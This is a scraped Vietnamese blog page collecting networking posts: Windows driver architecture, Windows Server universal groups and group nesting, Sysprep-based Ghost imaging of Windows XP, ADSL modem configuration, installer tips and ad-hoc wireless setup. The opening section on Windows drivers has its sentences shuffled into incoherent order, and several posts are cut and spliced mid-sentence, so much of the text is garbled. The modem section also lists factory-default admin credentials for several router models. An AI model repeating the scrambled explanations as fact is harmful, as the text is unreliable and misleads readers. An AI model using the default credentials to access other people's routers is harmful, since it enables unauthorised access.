cho thế giới Bây giờ chúng ta hãy đi vào những cố gắng và thành công mà Windows mang lại cho thế giới công nghệ nói chung.Được đăng bởi haodalat tại 9:09 CH 0 nhận xét Nhãn: co ban ve Mang may tinh.

thường thì phải bắt buộc khách hàng mua phần cứng mới cùng với ứng dụng mới của họ. nhưng sau đó một vài năm góc độ phần cứng đã được thay đổi. nó là một ứng dụng mà các chuyên gia đã phát triển để gộp các driver thiết bị với tư cách là một phần của ứng dụng. Các chuyên gia phát triển ứng dụng đã phải tạo ra các driver phù hợp với phần đông số lượng người dùng. các ứng dụng vẫn có những yêu cầu phần cứng tối thiểu nhưng các model phần cứng cũng như các nhãn hiệu không thực sự quan trọng nhiều . vì họ phải tốn nhiều thời gian vào việc viết một lượng vô cùng lớn các driver thiết bị. tên trước kia của nó là PFS Write.Phần đông người dùng đã không thích điều này.… Cách mà các driver lệ thuộc với ứng dụng quả tồi tệ cho cả các chuyên gia phát triển ứng dụng lẫn khách hàng. chính vì vậy thực sự hiếm có một ứng dụng nào có driver cho những phần cứng mới nhất. như vậy Windows đã giúp việc thao tác với các máy tính trở nên dễ dàng hơn rất nhiều. Nó cũng không có lợi cho những chuyên gia phát triển ứng dụng. Vì muốn sử dụng DOS thậm chí chỉ là cơ bản cũng cần phải học một số lệnh nào đó. ở thời điểm này không hề có việc hỗ trợ tới card video và âm thanh. điều đó đã làm tăng giá thành cũng như thời gian để hoàn thành xong sản phẩm và đưa ra cung cấp cho thị trường. Việc sử dụng máy tính đã dần dần trở thành phổ biến trước khi Microsoft giới thiệu một hệ điều hành bằng đồ họa. Một trong những thứ mà đã biến PFS Write trở thành một sản phẩm tốt như vậy là nó đã hỗ trợ cho rất nhiều máy in. Điển hình. Nhiều lệnh trong số đó có thể gây hỏng nặng đến dữ liệu nếu bạn vô tình sử dụng lệnh sai. bộ xử lý từ trên thị trường tốt nhất vào thời đó là một sản phẩm mà bây giờ không còn tồn tại. Điều thứ hai mà Windows đã thực hiện còn quan trọng hơn nhiều đó là cung cấp một thành phần cho phép các driver tách hoàn toàn với các ứng dụng. Ví dụ. Bảo đảm rằng. họ đã tạo ra một môi trường mà trong đó. Chính vì ứng dụng chỉ có thể hỗ trợ một tập hạn chế phần cứng nào đó nên chuyên gia phát triển sẽ không thể hỗ trợ cho hết được các sản phẩm phần cứng mà khách hàng có. Ở thời điểm của DOS. Lúc đó góc độ phần cứng cũng không thường xuyên được hỗ trợ. Hãy lưu ý rằng. Khi Microsoft tạo ra Windows. và như vậy quả là một điều không ai mong muốn. Thông thường phần cứng mới lại không tương thích với driver phần cứng cũ trước đó. phần cứng cũ hơn sẽ không được hỗ trợ. Việc các driver thiết bị gắn chặt với ứng dụng cũng gây khó khăn cho khách hàng. bất kỳ ứng dụng nào cũng có thể tương tác với bất kỳ phần cứng nào.

và các khách hàng lúc này hoàn toàn có thể thoải mái sử dụng bất kỳ phần cứng nào mà họ muốn (miễn là có những chuẩn tối thiểu yêu cầu cho sự tương thích) mà không cần phải lo lắng xem nó có làm việc với ứng dụng nào đó của mình hay không. Chúng tôi cũng đã giải thích Windows Server 2003 hỗ trợ một số kiểu nhóm khác và mỗi một kiểu nhóm đó lại có những ưu và nhược điểm riêng. nếu bạn muốn in tài liệu này. nó sẽ không cần biết loại máy in mà bạn có là gì miễn là có cài đặt driver trên máy tính rồi. chúng tôi sẽ tiếp tục giới thiệu cho các bạn về cách kiến trúc này hỗ trợ cho việc kết nối mạng như thế nào. Kết luận Như những gì bạn đã biết. hoặc kiểu máy in mà công việc in ấn đang gửi đến là gì. domain local group và global group.như trước kia.com. Windows đã xây dựng trong nhiều lớp. tiếp đó là việc cho phép các điều khoản trực tiếp đối với người dùng. NETWORK Kiến thức cơ bản về mạng: Phần 15 – Universal Groups & Group Nesting Trong phần trước của loạt bài này. chúng tôi đã giới thiệu cho bạn khái niệm về cách sử dụng các nhóm để quản lý truy cập mạng. Trong bài đó. Microsoft đã có thể thiết kế Windows theo cách cho phép các ứng dụng có thể tách rời driver thiết bị. Điểm tuyệt vời nhất là các ứng dụng từ driver thiết bị giúp đỡ được nhiều đối tượng. Bạn có thể dễ dàng quản lý toàn bộ mạng bằng cách chỉ sử dụng các kiểu nhóm này. Tuy nhiên còn có nhiều kiểu nhóm mà Windows Server 2003 hỗ trợ như universal group. Quá trình thực sự phức tạp hơn nhiều nhưng ở đây tôi chỉ muốn giới thiệu ý tưởng cơ bản mà không đi vào những chi tiết trong kiến trúc. Hệ điều hành Windows sử dụng driver in cụ thể để dịch công việc in ấn đó thành định dạng mà máy in có thể hiểu được. Trong phần tiếp theo của loạt bài này.html Được đăng bởi haodalat tại 9:08 CH 0 nhận xét Nhãn: co ban ve Mang may tinh. Ví dụ. chúng tôi đã nói về local group.3c. Theo Windows Networking http://www. .vn/Story/vn/hotrokhachhang/kienthucmang/2008/4/38594 . Mỗi một ứng dụng Windows lại sinh một số công việc in ấn theo cùng một cách mà không tâm đến ứng dụng là gì. Các chuyên gia phát triển ứng dụng không phải chịu gánh nặng đối với việc phải viết các driver thiết bị.

Điều này đã gây ra một số vấn đề nếu bạn có máy chủ Windows NT nào đó trong hệ thống của mình. domain local groups. Chúng tôi sẽ nói chi tiết hơn về native mode trong phần sau. Tuy nhiên bạn lại có thể đặt một nhóm universal group vào một nhóm nội bộ (local group). Để giải quyết vấn đề này. Rõ ràng. Các nhóm Universal group đã được giới thiệu trong Windows 2000 Server. Windows 2000 Server là một cải tiến rõ rệt so với Windows NT Server. vấn đề này càng đặt ra nhiều thắc mắc về tại sao bạn nên sử dụng các nhóm còn lại nếu chúng có những hạn chế mà các nhóm universal group có thể khắc phục được. Universal group là một trong những tính năng chỉ có tác dụng nếu các bộ điều khiển miền của bạn đang hoạt động trong chế độ Native Mode của Windows 2000 Server hoặc cao hơn. nhưng nhiều tính năng của Windows 2000 lại không thể được sử dụng cho tới khi bạn loại bỏ các bộ điều khiển miền của Windows NT và chuyển sang chế độ native mode. nhưng ý tưởng cơ bản của nó là khi Windows 2000 Server được cài đặt ban đầu thì nó sẽ hoạt động trong một chế độ gọi là mixed mode. chúng tôi đã đề cập đến rằng bạn không thể đặt một nhóm nội bộ hoặc nhóm miền nội bộ (domain local group) vào một nhóm nội bộ khác.Nếu một số bạn chưa nắm chắc về local groups. Microsoft đã tạo một khái niệm native mode. Tương tự như vậy. Mặc dù về thuật ngữ có phần hơi khác nhưng nó cũng là những khái niệm cơ bản được áp dụng cho Windows Server 2003. họ muốn tiếp tục hỗ trợ các kiểu nhóm khác với tư cách duy trì sự tương thích với các phiên bản trước đó trong Windows NT. . điều đó có nghĩa rằng Windows NT không hỗ trợ cho các nhóm này. cùng với Active Directory. Đó là lý do tại sao bạn không thể sử dụng các nhóm universal group trong mọi tình huống. Chế độ này tương thích hoàn toàn với Windows NT. Các nhóm Universal group là nhóm về bản chất không phải là chủ đề cho những hạn chế áp dụng đối với các kiểu nhóm khác. Một trong những lý do chính có quá nhiều kiểu nhóm khác nhau vì Windows Server là một sản phẩm tiến hóa dần dần. Windows Server 2003 cũng hỗ trợ các kiểu nhóm đã có từ trước cũng với các lý do tương thích. Ví dụ. trong bài trước. một số tính năng mới sẽ chỉ làm việc trên mạng mà không cần các bộ điều khiển miền của Windows NT Server. Sự thật là các nhóm universal group đã không tồn tại trong thời kỳ Windows NT Server. Các phiên bản trước của Windows Server (trước đây vẫn gọi là Windows NT Server) đã hỗ trợ việc sử dụng các nhóm. Khi Microsoft đã phát hành Windows 2000 Server. và global groups thì các universal group ban đầu dường như sẽ giống như một câu trả lời cho những yêu cầu tìm hiểu của bạn. nhưng nhóm universal group vẫn không được đưa ra khi các phiên bản này thịnh hành. Các nguyên tắc này áp dụng đối với các loại nhóm khác mà không áp dụng đối với nhóm universal group.

Một trong những lý do chung nhất là việc tương thích các tài nguyên với các văn phòng.. Khi global catalog càng lớn thì số lượng thời gian mà nó cần để sao global catalog từ một máy chủ global catalog này sang một máy chủ global catalog khác càng tăng. Ví dụ. Chính vì vậy nguyên lý cơ bản của Microsoft là hoàn toàn “OK” để tạo các nhóm universal group nhưng bạn nên sử dụng chúng một cách dè xẻn. thì sử dụng universal group trong hầu hết các trường hợp vẫn là một ý tưởng không tốt. Như đã nói trong phần trước của loạt bài này.Ngay cả khi tất cả máy chủ của bạn đang chạy trên hệ điều hành Windows Server 2003. Trong trường hợp này có thể bạn đang phân vân rằng kiểu còn lại của các nhóm không cáng đáng nổi lượng tải trên global catalog. Điều này có nghĩa rằng khi tạo nhiều nhóm universal group thì các máy chủ global catalog sẽ như phồng lên. chúng ta sẽ đặt được tất cả các con búp bê nhỏ vào trong một con lớn. nếu bạn đã biết rằng một ai đó trong phòng tài chính cần truy cập vào một ứng dụng tài khoản thì có thể tạo . thông tin cập nhật phải được tạo bản sao cho các máy chủ này. Ý tưởng đặt đối tượng này bên trong đối tượng khác tương tự được gọi là nesting (xếp lồng). một công ty bắt đầu tạo nhóm cho mỗi phòng ban. Họ có thể tạo nhóm Tải chính.. Điển hình. nhóm Thị trường. mỗi vị trí Active Directory đều có bản copy của chính nó cho global catalog. các nhóm global group đã được liệt kê trong global catalog. Group Nesting Một khái niệm có liên quan đến nhóm cuối cùng mà chúng tôi muốn giới thiệu cho các bạn đó là Nesting. Ví dụ. Cách đơn giản nhất để giải thích về nhóm này là so sánh nó với các con búp bê của Nga. Bước tiếp theo trong tiến trình sẽ là tạo các nhóm phù hợp với các tài nguyên khác nhau mà bạn cần đồng ý cho phép truy cập vào. nhưng danh sách hội viên của chúng lại không có. điều đó có nghĩa rằng ở bất kỳ thời điểm nào một máy chủ global catalog cũng đều được cập nhật. Có nhiều lý do khác nhau cho việc đưa ra các nhóm nesting này. Nếu không được kiểm tra thì điều này có thể dẫn đến các vấn đề về hiệu suất mạng. Con nhỏ nhất sẽ được đặt vào con nhỏ nhất trừ nó và cứ thế tiếp tục. Khi bạn tạo một universal group. cả tên nhóm và danh sách hội viên của nhóm đều được ghi vào các máy chủ global catalog. nhóm CNTT. chúng tôi giới thiệu cho bạn khái niệm về global catalog servers. Tiếp theo họ sẽ đặt người dùng vào nhóm sao cho phù hợp với phòng ban mà người dùng đã làm. và forest của bạn hoàn toàn ở trong chế độ native. Ví dụ. Các kiểu búp bê này được thiết kế để chúng có thể đặt được vào bên trong mỗi con khác lớn hơn. Các máy chủ global catalog server là các bộ điều khiển miền đã được gán nhiệm vụ giữ kiểm tra mọi đối tượng trong forest.

Bảng dưới đây sẽ liệt kê các loại nhóm nào có thể xếp lồng được: Loại nhóm Có thể được xếp lồng trong nhóm Local Có thể được xếp lồng trong nhóm Domain Local Có thể được xếp lồng trong nhóm Global Có thể được xếp lồng trong nhóm Universal Local Không Không Không Không Domain Local Có Có (nếu cùng miền) . trong khi vẫn tiết kiệm được lượng công việc trong tiến trình. Trong trường hợp ví dụ trước. Bạn không phải xếp lồng các nhóm nhưng việc làm như vậy đôi khi cho phép dễ làm việc trong tổ chức của mình. bạn không phải đặt một cách thủ công mỗi một tài khoản người dùng riêng lẻ vào nhóm cho ứng dụng tài khoản mà thay vì đó bạn chỉ cần dùng lại nhóm đã tồn tại trước đó. Lưu ý rằng không phải mọi nhóm đều có thể được xếp lồng vào nhóm khác.một nhóm cho phép truy cập vào ứng dụng đó và sau đó đặt nhóm tài chính vào nhóm đó.

Cùng với đó chúng tôi cũng . chúng tôi đã giới thiệu cho các bạn một số ưu điểm về việc xếp lồng một nhóm này vào trong nhóm khác.Không Không Global Có Có Có (nếu cùng miền) Có Universal Có Có Không Có Lưu ý: Nếu Windows đang sử dụng trong chế độ mixed mode của hệ điều hành Windows 2000 thì bạn sẽ bị những hạn chế dưới đây: • Không thể tạo các nhóm Universal groups • Các nhóm Domain local group chỉ chứa nhóm global • Các nhóm Global group không chứa các nhóm khác Kết luận Trong bài này.

chọn Reboot. Bạn chú ý khai báo các phần bắt buộc sau đây: mục Customize the Software và Providing the Product Key (CDKey của Windows XP) trong thẻ General Setting. mời các bạn đón đọc. Sau đó nhấn Reseal. mục Computer Name (tên máy tính) trong thẻ Network Setting. Trong phần Shutdown.com. chúng ta sẽ dùng bộ công cụ System Prepairation Tool đi kèm theo đĩa cài đặt Windows XP để xóa bỏ tập tin cấu hình phần cứng trong Windows XP trước khi ghost.vn/Story/vn/hotrokhachhang/kienthucmang/2008/4/38409 .CAB vào thư mục C:\SYSPREP (với C: là ổ đĩa cài đặt Windows XP của bạn). có đặc trưng phần cứng khác.exe trong thư mục C:\SYSPREP. Bước 4: Chạy tập tin sysprep. Bây giờ chương trình sẽ yêu cầu bạn điền các thông tin giống như khi bạn cài đặt Windows XP. chạy tập tin SETUPMGR. fully automate the installation. tìm đến thư mục \SUPPORT\TOOLS.giới thiệu một số tình huống có thể để áp dụng điều này. đánh dấu vào Yes. Khi điền xong nhấn Next. Nhấn Next -> chọn mục Create a new answer file -> chọn Sysprep install. nhấn phải chuột vào tập tin DEPLOY. nó không thể chạy được vì không thể quản lý được phần cứng mới và cũng không có khả năng tự động thiết lập lại cấu hình phần cứng như Windows 9x.3c. Bước 3: Lấy đĩa CD cài đặt Windows XP ra. chọn WinZip\ Extract to -> gõ vào C:\SYSPREP rồi nhấn OK. Giải nén toàn bộ tập tin DEPLOY.inf rồi nhấn OK. CÓ THỂ BẠN CHƯA BIẾT. Để khắc phục nguyên nhân này. Đóng cửa sổ chương trình đang chạy lại.html Được đăng bởi haodalat tại 9:06 CH 0 nhận xét Nhãn: co ban ve Mang may tinh. Máy tính sẽ khởi động lại.CAB.EXE để tạo ra tập tin trả lời tự động cho quá trình cài đặt sau này. đưa đĩa CD có khả năng boot về DOS thực và chứa chương trình Ghost vào. máy sẽ hỏi bạn lưu thông tin vào đâu. http://www. nhấn OK khi gặp thông báo. Nhấn Next để điền các thông tin. Phần tiếp theo của loạt bài này có thể sẽ giới thiệu tiếp cho các bạn về nguyên tắc mà hệ điều hành Windows thực hiện trong việc kết nối mạng. Bạn đánh dấu vào mục Mini Setup và PnP (chức năng Plug & Play: tự động dò tìm và cài đặt phần cứng). Bước 1: Bạn đưa đĩa CD cài đặt Windows XP vào. . Nếu máy bạn có cài đặt WinZip. nó đều tự động thiết lập thông số các tập tin cấu hình đúng theo đặc trưng phần cứng của máy đó. Bước 2: Chuyển đến thư mục C:\SYSPREP. bạn gõ vào: C:\Sysprep\sysprep. NETWORK Ghost Winxp trên nhiều cấu hình ! Tạo tập tin ghost cho Windows XP chạy được trên các máy tính có cấu hình khác nhau Nguyên nhân khiến tập tin ghost Windows XP thường “máy nào chạy máy nấy” là khi cài Windows XP trên máy bất kỳ. Chọn bản Windows XP bạn sẽ dùng (Home hay Professional). Khi mang sang máy khác.

THỦ THUẬT IT HƯỚNG DẪN CÀI ĐẶT VÀ SỬ DỤNG ADSL .chm. * Đường line ADSL (bạn đăng ký với VNN và đã có tín hiệu ADSL).com/75695/Ghost+Winxp+tr%C3%AAn+nhi %E1%BB%81u+c%E1%BA%A5u+h%C3%ACnh+%21.com. Có vấn đề cần thắc mắc hãy liên hệ với tôi.MEGAVNN HƯỚNG DẪN CÀI ĐẶT VÀ SỬ DỤNG ADSL . Lắp đặt thiết bị.CAB như: deploy. Bạn chạy chương trình Ghost có trên CD để tạo tập tin Ghost Windows XP. Đầu tiên bạn phải tiến hành đấu nối các thiết bị như “sơ đồ lắp đặt các thiết bị ADSL” hình vẽ ở trang 4. Để biết thêm thông tin chi tiết. * Account ADSL (bạn đăng ký với VNN cho đường line ADSL trên và đã có hiệu lực).chm và setupmgr. ref. nó sẽ tự động chạy chương trình Mini Setup để xác lập lại các thông số về phần cứng cho phù hợp với mỗi máy. Khi bung tập tin Ghost này ra và chạy Windows XP. Giao thức sử dụng TCP/IP.vn lúc 02:56 http://nguoiyenbai.yeublog. * Modem ADSL (cổng USB hoặc cổng RJ45).html Được đăng bởi haodalat tại 9:00 CH 0 nhận xét Nhãn: CÓ THỂ BẠN CHƯA BIẾT. Ngưòi viết hoangcanhvc@yahoo. III Cài đặt các thông số cho máy tính và cấu hình thông số cho Modem. * Nếu có dùng thoại bạn cần phải có Filter/Spliter. Yêu cầu * Máy tính cấu hình tối thiểu 166 Mhz (hỗ trợ cổng USB hoặc có gắn card mạng cổng RJ45). II. xin hết sức giúp đỡ. Trình duyệt Internet Explorer hoặc Netscape…. Mac hoặc Linux. bạn có thể đọc các tập tin trợ giúp chứa trong tập tin DEPLOY.Bây giờ. Để tiến hành kiểm tra xem máy tính của bạn đã được cài đặt giao thức này hay chưa bạn thực hiện kiểm tra theo cách sau: . 1.MEGAVNN I. Tập tin Ghost này có thể chạy trên mọi máy tính có cấu hình khác nhau. sau khi máy tính khởi động lại về dấu nhắc DOS. Cài đặt TCP/IP: TCP/IP là giao thức bắt buộc để máy tính của bạn có thể truy câp được Internet. sử dụng hệ điều hành Windows.chm.

Obtain an IP address automatically . trước khi tiến . xem đã có TCP/IP chưa? Nếu chưa có thực hiện tiếp các bước sau: Install… " Protocol " Add" Microsoft (Manufactures) " TCP/IP (Network Protocols) " OK.Với cách chọn lựa tự động này. nhấn chuột phải và chọn Properties như hình sau: Trong cửa số Local Area Connection Properties. Trên của sổ này bạn chọn lựa như sau: .Obtain DNS server address automatically. Ngược lại Nếu bạn biết cách gán địa chỉ IP và DNS thì có thể tìm hiểu địa chỉ IP của Modem và tự thiết lập IP cho mỗi máy tính trong cửa sổ này. Sau khi thấy được TCP/IP bạn chọn nó và nhấp chuột vào Properties.Sau cùng bạn chọn OK để kết thúc.My Computer " Control Panel" Network and Dial-up Connections. Cửa sổ Internet Protocol(TCP/IP) Properties xuất hiện (hình bên). . máy tính sẽ tự động nhận IP và DNS từ Modem cấp phát xuống. Bước tiếp theo là bạn phải khai báo thông số cho Modem ADSL. Cấu hình các thông số cho Modem ADSL. 2. .

Địa chỉ IP của Modem ADSL: Địa chỉ này để mở trang web cấu hình Modem. Thông số này do nhà sản xuất modem cài đặt sẵn bên trong Modem (bạn có thể thay đổi được các thông số này). . .Username/password Modem: Cặp user và password này dùng để mở trang web cài đặt các thông số cho modem.0.Encapsulation: PPPoE LLC Chip Tên Modem Địa chỉ IP modem User name modem Password modem Alcatel Speedtouch 500/530/536/516 10.0.Username/Password MegaVNN do VNN cung cấp cho khách hàng để kết nối vào mạng Internet.VPI = 8 và VCI = 35 (thông số bắt buộc đối với ADSL VNN). .hành cài đặt các thông số Modem bạn cần phải biết các thông số quan trọng sau: .138 Bạn tự đặt Bạn tự đặt Conexant . . Những thông số này khác nhau đối với mỗi lọai Modem.

0.0.2 admin epicrouter Conexant Aztech 10.2 admin Bỏ trống Conexant Zoom X3-X4-X5 10.Micronet 10.0.0.2 admin zoomadsl Conexant Cnet .0.0.

0.168.1.8.2 admin epicrouter Conexant GVC 10.168.1 admin .2 admin epicrouter Alcatel Linkpro 192.0.10.0.1 admin Bỏ trống Conexant SMC 192.0.

254 admin ovislink Đa số các loại modem user password .168.1.Barricade Conexant Ovislink 192.

. Switch/Hub và máy tính. Tuy nhiên.com.Từ một máy tính bất kỳ (trong mạng nội bộ hoặc nối trực tiếp với modem) mở trình duyệt web (Internet Explorer) gõ địa chỉ IP modem như trong bảng ở trên (10. Trong ví dụ này chúng tôi sẽ hướng dẫn trường hợp cụ thể Modem SpeedTouch 530. Rồi tiếp tục chọn NEXT. làm thế nào để xây dựng nên một qui trình khép kín từ khi nhận yêu cầu.0. Trong ô Service Name bạn gõ MeGaVNN.Nhiệm vụ của bạn là làm sao phải vào được trang web cấu hình Modem và khai báo các thông số trên. Trong cửa sổ này bạn sẽ khai báo username (tự đặt) và password (tự đặt) để cho phép mở trang web cấu hình modem này. Nếu bạn bỏ trống thì lần sau mở trang web modem máy sẽ không hỏi username và password. bạn hãy cấp điện cho toàn bộ hệ thống (Modem.vn lúc 01:11 Được đăng bởi haodalat tại 8:57 CH 0 nhận xét Nhãn: ADSL . Hiện nay. dịch vụ ADSL phát triển không chỉ ở thành thị mà còn lan rộng đến nông thôn. Máy sẽ hiện ra cửa sổ: Speed Touch Security.0. Các Modem khác cũng có thể làm tương tự (tham khảo tài liệu kỹ thuật tương ứng của thiết bị kèm theo). NETWORK Một số kinh nghiệm lắp đặt ADSL Năm 2008 và vài năm tới dược dự báo là thời hoàng kim của dịch vụ băng rộng.138).35 (hai thông số VCI/VPI)àNEXT…Tới đây máy sẽ hiện lên cửa sổ PPP Account Setting: Trên cửa sổ này trong ô username và password bạn khai báo username và password do VNN cung cấp cho bạn.Sau khi bạn đã lắp đặt sơ đồ như hình vẽ. co ban ve Mang may tinh. trong đó ADSL (Asymmetric Digital Subscriber Line .MEGAVNN.Đường dây thuê bao số không đối xứng) được đánh giá là một trong những dịch vụ có nhiều tiềm năng. Trên Menu bên trái chọn AdvancedàEasy SetupàNextàRouted PPPoE-DHCPNAPT àNEXT à8. do nhu cầu người dùng ngày một tăng và giá cước có xu hướng giảm mạnh.. thậm chí vùng sâu vùng xa.). Nếu lần đầu tiên bạn cấu hình Modem SpeedTouch thì máy sẽ không hỏi password modem (có thể các lọai modem khác sẽ hỏi password modem và bạn phải gõ vào mới mở được).0.0. Các nhà cung cấp dịch vụ đang trong cuộc đua quyết liệt nhằm lôi kéo khách hàng về mình. xử lý . Ngược lại nếu bạn tự đặt một username và password ở đây thì lần sau mỗi lần bạn mở trang web 10.138 máy tính s Ngưòi viết hoangcanhvc@yahoo. .

. dây nối USB.những nhà cung cấp dịch vụ. trong đó không thể thiếu các thiết bị dùng để kiểm tra như: modem/router. 4. mềm dẻo và tế nhị để tránh gây phiền hà cho khách hàng.. Ngoài ra. Chuẩn bị các dụng cụ tác nghiệp và thiết bị cần thiết. Dạng thứ nhất thông thường được cấp số ảo.) thì cũng có những rắc rối khác. hộp đấu dây và dây line đã vận hành thử tốt để kiểm tra loại trừ trong trường hợp có sự cố xảy ra. dây mạng máy tính. nhiều chi tiết tuy nhỏ như người nhà không biết mật khẩu vào máy tính. Gọi điện liên hệ để hỏi cụ thể địa điểm lắp đặt (nhà thuê bao). còn đối với dạng thứ hai thì được cấp số bình thường như dịch vụ thoại. Nếu có . chủ thuê bao đi vắng nhưng không liên lạc được. hẹn khách hàng thời gian lắp đặt. hệ điều hành bị lỗi hay thiếu ổ cắm điện cũng có thể gây phiền toái khi cài đặt. tải xuống đã đạt đúng tốc độ theo gói cước yêu cầu chưa? 2.. người tác nghiệp nên chuẩn bị tốt một số việc sau trước khi đến nhà khách hàng và trong quá trình tiến hành lắp đặt hay xử lý máy hỏng: 1. hiệu quả lại là một bài toán đặt ra cho họ . Bởi vậy để giảm thiểu thời gian lắp đặt.. Hỏi khách hàng về vị trí lắp đặt ADSL. cáp hỏng. không có đường kéo dây. Chẳng hạn khách hàng muốn thay đổi địa điểm đặt router/modem hay máy tính thì phải kéo đường dây khác. nhất là các loại cũ. bộ lọc ADSL (splitter). Đối với thuê bao ADSL có thể ở 2 dạng: thứ nhất là thuần tuý ADSL và thứ hai là đa dịch vụ (chẳng hạn như đi chung đường với đường dây điện thoại). đấu nối chưa tiếp ở MDF của tổng đài.. Đối với những thuê bao do nhà cung cấp trang bị modem/router.thông tin cho đến lắp đặt và bảo dưỡng một cách khoa học. đĩa driver USB. không còn driver cài đặt thì tương đối phức tạp. đầu dây tín hiệu đã được kéo gần đến chỗ đặt máy vi tính chưa? Tình trạng máy tính đã chạy tốt chưa? Người theo dõi ở nhà có biết mật khẩu để vào máy tính không? Khách hàng đã trang bị modem/router chưa? Loại nào? Việc trao đổi như vậy cần hết sức thận trọng. Việc lắp đặt ADSL ngoài những trở ngại như lắp đặt máy điện thoại (việc tìm địa chỉ lắp đặt. Nhiều trường hợp các khu biệt thự hay nhà cao tầng có dây đi ống âm tường thì rất khó khăn do nhiều khi thậm chí chủ nhà cũng không biết đường đi của cáp nội bộ trong nhà như thế nào. 3.Nói chung. việc cài đặt tương đối dễ dàng nhưng nếu khách hàng tự trang bị modem/router. Gọi điện đến các nút chuyển mạch kiểm tra xem đường line đã đấu ADSL tốt chưa và kiểm tra kết quả khai báo tại nhà cung cấp cũng như đo kiểm đường tải lên. trong nhiều trường hợp dù có chuẩn bị khá chu đáo thì nhân viên lắp đặt vẫn gặp phải một số trở ngại khách quan như đã nói trên.

Bằng mắt thường cũng có thể quan sát các đèn tín hiệu để biết modem đã được cài đặt tốt chưa. Nếu tín hiệu đã thông tốt thì tiến hành duyệt web thử. kiểu được biết đến với cái tên ad-hoc. các đèn tín hiệu đã báo đúng chưa? Sau đó mới tiến hành đăng nhập theo địa chỉ IP của modem/router để cài đặt. Khi đến nhà khách hàng. Theo TCBCVT http://www. CÓ THỂ BẠN CHƯA BIẾT. 5. Trong hướng dẫn này. Nếu đã đạt yêu cầu thì phải lưu lại cấu hình cài đặt đối với một số loại modem/router để nếu mất nguồn nuôi thì thông số cấu hình vẫn không mất. 6. Một số loại modem/router còn cho phép lưu cấu hình ra tệp tin (thường thông qua menu Save Settings) để khi reset có thể dùng tệp tin này nạp lại cấu hình nhằm giảm thiểu thời gian cài đặt. NETWORK Xây dựng mạng không dây không cần router không dây Rất nhiều người không biết rằng nếu chạy Windows XP hoặc Windows Vista thì hoàn toàn có thể thiết lập một mạng không dây ở nhà hoặc văn phòng mà không cần đến router băng thông rộng không dây hoặc điểm truy cập không dây. 7.máy tính xách tay đã thử nghiệm giao tiếp tốt với bộ công cụ trên thì càng tốt. chúng tôi sẽ hướng dẫn từng bước một trong việc thiết lập một kiểu mạng không dây.quantrimang. trước hết cần kiểm tra các thiết bị của khác hàng đã đạt yêu cầu kỹ thuật chưa? Đến bước này cần đặc biệt lưu ý đến cấu hình máy tính. Hiện đang có ngày càng nhiều người sẵn lòng xây dựng một mạng không dây . hệ điều hành và card mạng hay phiên bản của driver USB đang dùng. Khi đã cài đặt tất cả các thông số cần kiểm tra xem tín hiệu đã kết nối được chưa (thường thông qua menu Diagnostic hoặc dùng các lệnh “ping [địa chỉ IP]” hay lệnh “tracert -d [địa chỉ IP]” của Windows).com/view. hoàn toàn có thể tiết kiệm được chi phí. thậm chí làm cho đường truyền không thể truyền được.asp? Cat_ID=3&Cat_Sub_ID=0&News_ID=45216 Được đăng bởi haodalat tại 8:49 CH 0 nhận xét Nhãn: co ban ve Mang may tinh. Đối với công tác này cần đặc biệt lưu ý hai điều: thứ nhất là hiện nay có nhiều hộp đấu dây có trang bị bo mạch chống sét sẽ không tương thích với tín hiệu ADSL nên dù cho phía tổng đài đã đấu nối tốt nhưng tại nhà thuê bao vẫn không có tín hiệu DSL và thứ hai là các đầu nối dây có thể chưa tiếp tốt hay bấm dây chưa đúng luật màu (đối với dây mạng máy tính) cũng có thể ảnh hưởng nghiêm trọng đến tốc độ đường truyền. Tuỳ từng loại modem/router và bộ lọc mà kiểm tra các sơ đồ đấu nối.

chính vì vậy nó dễ dàng bị một hacker tấn công (chúng tôi không khuyên các bạn sử dụng giải pháp này cho việc truyền tải những dữ liệu quan trọng). Tuy nhiên. Nếu bạn đang sử dụng máy desktop hoặc laptop mà không có khả năng kết nối mạng không dây thì thứ cần thực hiện đầu tiên là mua một card mạng không dây cho mỗi máy tính mà bạn muốn kết nối vào mạng cũng như Internet. Thông thường thành phần phần cứng có tên gọi router băng thông rộng không dây hoặc điểm truy cập là cần thiết. bạn đừng quên mục thứ hai đã được liệt kê ở trên. thậm chí nếu bạn đang sử dụng card 54MBps trong mạng của mình.riêng cho mình. * Một router băng thông rộng không dây (không bắt buộc). Mạng không dây có thể thiết lập tại nhà hoặc văn phòng. cho phép bạn tiết kiệm được chi phí. * Tốc độ mạng bị hạn chế dưới 11MBps. Rõ ràng chúng ta đang nói về các máy tính laptop với khả năng kết nối mạng không dây – tất cả các laptop đều có tính năng này. * Một card mạng không dây đã được cài đặt trên mỗi máy tính muốn kết nối với mạng. sử dụng máy in và truy cập Internet mà không cần phải chạy dây cáp mạng loằng ngoằng vào các máy tính trong mạng. * Mạng của bạn sẽ kém an toàn vì các router băng thông rộng thường tích hợp cả tường lửa phần cứng trong đó. Bạn cũng có thể cấu hình một mạng ad-hoc dù đã có một router băng thông rộng nhưng không có khả năng không dây. Tuy nhiên trong hướng dẫn này chúng tôi sẽ giới thiệu cho các bạn cách thiết lập một mạng không dây mà không cần đến thiết bị này. Nếu bạn tắt máy tính này thì các máy tính khác sẽ mất kết nối với Internet. từ đó bạn có thể chia sẻ file. Trong trường hợp này. bạn cần phải có: * Một kết nối Internet băng thông rộng. nhưng các mục khác vẫn hoàn toàn đúng. Để thiết lập một mạng không dây riêng. Điểm tuyệt vời nhất là trong trường hợp bạn có các máy tính nằm vị trí khó có thể thiết lập hệ thống cáp mạng chạy dây hoặc trong trường hợp bạn muốn tự do truy cập mạng và Internet bằng laptop ở bất cứ chỗ nào bên trong văn phòng hoặc nhà. bạn cũng cần biết trước những nhược điểm của việc không có một router không dây: * Máy tính có kết nối Internet băng thông rộng luôn luôn phải bật. * Vấn đề mã hóa được sử dụng bởi kết nối ad-hoc thường “yếu hơn” mã hóa được cung cấp bởi các router băng thông rộng không dây. Thêm vào đó có một thứ cũng rất quan trọng nếu đã có một router .

